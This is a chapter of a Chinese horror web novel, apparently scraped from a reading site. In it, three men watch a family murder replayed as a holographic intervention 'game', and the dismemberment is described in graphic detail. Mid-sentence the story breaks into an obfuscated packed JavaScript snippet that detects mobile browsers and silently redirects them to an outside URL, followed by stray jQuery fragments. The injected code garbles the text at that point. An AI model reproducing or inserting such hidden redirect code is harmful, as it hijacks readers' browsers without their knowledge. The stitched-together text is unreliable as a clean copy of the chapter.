默认冷灰
24号文字
方正启体

108. 06西西弗斯窗台

作者:黑木花本书字数:K更新时间:
    顾辉把手握拳,敲在1906的门上。


    里面无人应答。


    顾辉一推,门很轻松地开了。


    一股冷风先涌了出来。


    不是自然的风,是带着电子设备低鸣声的气流,细微的嗡鸣钻进耳膜。


    按理说,1906的房间和1903的格局应该是大差不差。


    而眼前的这套大平层,却没有玄关客厅窗户等等正常的构成……而是空荡荡的一片纯白。


    连地面也是发光的白色平面,踩上去有轻微弹性。


    空气中悬浮着无数细小的光粒。


    周笔灰看了眼身旁的两位兄弟,三人无一不是震惊模样。


    砰的一声,身后的门自动关上。


    此时,在他们的正前方,出现了一面巨大的全息屏幕。


    屏幕边缘流淌着暗红色的数据流,像静脉血液在透明皮肤下蠕动。


    屏幕中央,几个字正在缓慢浮现,每个笔划都像用血写成的:


    【欢迎回到我们幸福的家!】


    “这是...”顾辉绷着脸出声。


    眼前的场景远远低于心理预期的恐怖,朱志明大大地松了口气。“游戏?”


    悬浮的全息屏幕上的字开始融化,重组。


    周笔灰盯着:“看。”


    屏幕刷新:


    【案件重现:1906灭门案】


    【时间锚点:2月14日0:30】


    【玩家身份:观察者(幽灵态)】


    【目标:在现实时间30分钟内改变关键决策】


    【警告:过度干预可能导致时间线崩溃】


    下方,一个倒计时数字浮现:


    29:59


    29:58


    29:57


    上面的数字不是普通的字体,而是由无数微小的、挣扎的人形剪影组成。每一秒流逝,就有几个人影破碎、消散。


    “所以是让我们玩游戏?”周笔灰皱眉。


    屏幕右侧,新的信息闪出:


    【规则摘要】


    ·你们将目睹案发过程


    ·可通过意念影响环境物品


    ·有7次干预机会每次持续30秒)


    ·不能直接接触实体(违反者将被实体反噬)


    ·道德值影响结局(低道德值将触发隐藏结局)


    【当前状态】


    历史稳定性:100%


    道德值:50(中立)


    干预次数:0/7


    屏幕底部,一行小字缓慢滚动:


    【提示:你们听到的、闻到的、感受到的,都是真实的。痛苦是真实的。死亡是真实的。】


    “开始吧。”顾辉说,“没时间犹豫。”


    朱志明急忙摇头,“不是啊,大哥,我连游戏规则都没搞懂,靠北呀。”


    话音刚落,白色空间开始溶解。


    光粒重组,色彩涌现。


    墙壁从地面升起,砖纹、墙纸、裂缝——1906客厅的每一个细节被精确重建。


    沙发、茶几、电视柜、餐桌等家具从虚空中浮现。


    视觉效果建立完毕后,开始构建嗅觉信息。


    空气中出现气味:老旧木头的味道、淡淡的霉味、还有...


    血的味道。


    三人站在客厅中央,但场景中的人看不见他们。


    他们像幽灵,透明,无声。


    【场景加载完成】


    时间:0:30


    电视开着,但画面扭曲。


    午夜剧场里,男女主角在拥吻,但他们的脸在融化,嘴唇粘在一起分不开,背景音乐变成尖锐的耳鸣。


    地板上,男人跪在血泊中。


    他的白衬衫已经被血浸透,变成暗红色,紧贴在身上。袖子卷到肘部,小臂上溅满碎肉和骨渣。手里握着的斩骨刀,刀锋反着电视的蓝光,刀刃上有细密的缺口。


    他面前是肢解的女性尸体。


    头颅滚在茶几边,长发浸在血里,像海草。脸朝上,眼睛半睁,瞳孔扩散,但眼球在轻微转动,看向天花板。嘴唇微张,舌头吐出一小截,舌尖发黑。


    躯干被纵向剖开,从锁骨到耻骨,切口整齐。


    内脏流出来,有粉红色的肠子和紫色的肝脏。肺叶摊开,像湿透的海绵。


    肋骨断口白森森的,能看到里面的心脏还在微弱地跳动,每跳一下,就挤出一点黑血。


    四肢从关节处砍断。手臂在沙发旁,手指蜷缩又伸直。腿在餐桌下,脚踝扭曲,指甲缝里塞满地毯纤维。


    血。到处都是血。


    墙壁上的喷溅状血迹,像抽象派的泼墨画。


    地板上的血积成水洼,倒映着吊灯的光。家具上、窗帘上、电视屏幕上,全是血点,有些已经凝固成暗褐色的痂。


    屠杀者男人在哭。


    不是大哭,是压抑的、从喉咙深处挤出来的呜咽。他肩膀颤抖,但手上的动作不停。


    剁。剁。剁。


    斩骨刀砍在耻骨上,发出沉闷的、湿漉漉的断裂声。


    咔嚓。噗嗤。


    骨头裂开,骨髓溅出来,白色的,粘稠的红色液体。


    “他在分尸...”朱志明捂住嘴,但捂不住从指缝漏出的干呕声。


    他们看向沙发。


    两个孩子并排躺着,闭着眼,胸口起伏,呼吸声轻浅。


    老奶奶坐在单人沙发上,头歪向一边。她的嘴角流出透明的涎水,滴在衣襟上。一只手垂下来,手指间歇性抽搐。


    “被下药了。”顾辉判断,“可能是安眠药...所以他们没醒...”


    剁。剁。剁。


    屠杀者砍下最后一刀,把一块盆腔组织分离。他喘着气,放下刀,刀掉在血泊里,发出噗通一声。


    他也跟着跪在血泊里,对着地板干呕。


    “为什么...”他喃喃自语,“为什么...”


    他抬起头,看向女人的头颅。


    头颅的眼睛转过来,看向他。


    瞳孔里倒映着他染血的脸。


    屏幕在此时亮起,更新信息:


    【第一次干预机会】


    时机:现在


    目标:制造声响打断行凶


    可选交互:


    1.座钟(00:31报时,触发时间认知)


    2.电视机(切换至儿童频道,触发亲情)


    3.窗户(风吹动窗帘,制造外部感)


    4.电话(铃声,制造联系幻觉)


    【建议:观察目标瞳孔扩张程度,判断愧疚深度】


    【专注度要求:70%以上】


    【开始倒计时:5...】


    顾辉强迫自己看向这位屠杀者的眼睛。


    年轻的男人,面容扭曲,手在颤抖。


    “他怎么下得去手。”顾辉沉声道。


    “我们现在该选什么?”朱志明自问自答,“选座钟。钟声...让他想起时间...什么日子...。”


    周笔灰点头。


    【4...3...】


    三人同时闭上眼睛,集中意念。


    他们想象钟摆摆动:左...右...左...右...


    滴答...滴答...


    当——


    老式座钟突然敲响,在寂静中格外刺耳。


    屠杀者男人猛地抬头。


    他盯着座钟,眼睛因为想起了什么而睁大。钟面玻璃反射出他的脸,一张血污的、扭曲的、非人的脸。


    “情人节...”他喃喃道,“今


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031466|177457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天是...情人节...”


    他看向地上的头颅。


    头颅的嘴唇动了动。


    没有声音,但口型清晰:“情人节快乐。”


    屠杀者男人发出一声非人的尖叫,整个人蜷缩起来,在血泊中剧烈颤抖。他抓自己的头发,扯下好几缕。


    屏幕闪烁,字迹变得不稳定:


    【干预成功】


    历史稳定性:98%(数字跳动)


    道德值:+5(现55)


    【警告:目标情绪崩溃加剧,可能触发暴力升级】


    【专注度:75%,良好】


    屠杀者男人停止哭泣。


    他擦掉眼泪,眼神变冷。


    “没时间了...”他捡起刀,更用力地剁砍。


    剁!剁!剁!


    比之前更疯狂。


    【暴力指数上升】


    【风险:目标可能进入无差别攻击状态】


    进入第二次机会。


    沙发上的男孩眼皮颤动。他的手指蜷缩,抓住毯子边缘。嘴唇微张,发出细微的呻吟。


    屠杀者男人背对着沙发,正在把尸块装进黑色垃圾袋。他抓起一截小腿,塞进袋子,小腿的脚趾碰到袋壁,发出轻响。


    屏幕更新:


    【第二次干预机会】


    时机:目标接近孩子(剩余8秒)


    风险等级:高


    若孩子醒来目睹,目标可能因恐慌触发额外死亡(概率87%)


    可选交互:


    1.玩具车(红色小车,吸引注意但可能暴露孩子)


    2.咳嗽声(模拟苏醒,可能引发检查)


    3.保持静默(赌自然苏醒概率)


    【孩子自然苏醒倒计时:约2分钟】


    【专注度要求:80%】


    【开始倒计时:8...7...】


    屠杀者男人装完一袋尸块,转身看向沙发。他走向男孩,伸手抚摸孩子的头发,然后手移向脖子。


    “选什么?!”周笔灰急道。


    “不能让他碰孩子!”朱志明说。


    顾辉盯着屏幕上的选项:“咳嗽声。让他以为孩子要醒,他会查看,然后我们让孩子继续睡。”


    “但如果他查看时孩子真的醒了呢?”


    【5...4...3...】


    “咳嗽声!”顾辉决定。


    —


    男孩突然咳嗽一声。


    屠杀者男人的手僵在半空。他缓缓转身,刀尖滴下的血在地板上画出断续的红点。他走向沙发,俯身,脸凑近男孩。


    男孩的眼皮颤动。


    屠杀者男人的手伸向孩子的脖子,但停在半空。他改用手指探向鼻息。


    温热的气流,平稳,缓慢。


    屠杀者男人的手收回。他盯着孩子的脸看了几秒,眼神复杂,有爱怜,有痛苦,有挣扎。


    然后他退后两步,撞到茶几。


    茶几上的玻璃杯摇晃,发出清脆的碰撞声。


    屏幕闪烁:


    【干预成功】


    历史稳定性:97%(轻微波动)


    道德值:不变


    【孩子存活确认】


    【专注度:82%,优秀】


    【警告:目标对‘声音’敏感度提升】


    屠杀者男人不再看孩子。他转身,继续装袋。


    一袋。两袋。三袋。


    黑色垃圾袋鼓起来,表面渗出暗红色的液体,滴在地板上,和原来的血泊混在一起。


    他扎紧袋口,打的是死结,很用力,塑料袋发出刺耳的摩擦声。


    然后他停下来,看着三个袋子。


    看着沙发上的两个孩子,一个奶奶。


    他的眼神让三人心里发寒。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)